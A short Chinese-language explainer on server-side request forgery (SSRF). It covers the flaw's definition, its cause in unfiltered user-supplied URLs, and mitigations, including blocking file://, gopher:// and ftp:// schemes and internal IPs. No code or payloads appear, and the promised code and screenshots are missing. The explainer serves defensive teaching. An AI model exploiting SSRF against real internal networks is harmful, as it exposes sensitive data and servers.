服务端请求伪造攻击(SSRF)也成为跨站点端口攻击,是由于一些应用在9向第三方主机请求资源时提供了URL并通过传递的URL来获取资源引起的,当这种功能没有对协议、网络可信便捷做好限制时,攻击者可利用这种缺陷来获取内网敏感数据、DOS内网服务器、读文件甚至于可获取内网服务器控制权限等。

漏洞成因

服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤或者限制,比如说从指定url地址获取网页文本内容,加载指定地址的图片,文档等等.

代码片段以及修复建议

两个任务都是根据用户输入的参数,进行判断输入,并没有任何过滤

测试截图:


修复建议:

  1. 禁用不需要的协议.仅仅允许http和https请求.可以防止file://,gopher://,ftp://等引起的问题

  2. 统一错误信息,防止利用错误信息来判断远端服务器的端口状态.

  3. 禁止302跳转,或每跳转一次检查新的host是否为内网ip,后禁止

  4. 设置url名单或者限制内网ip.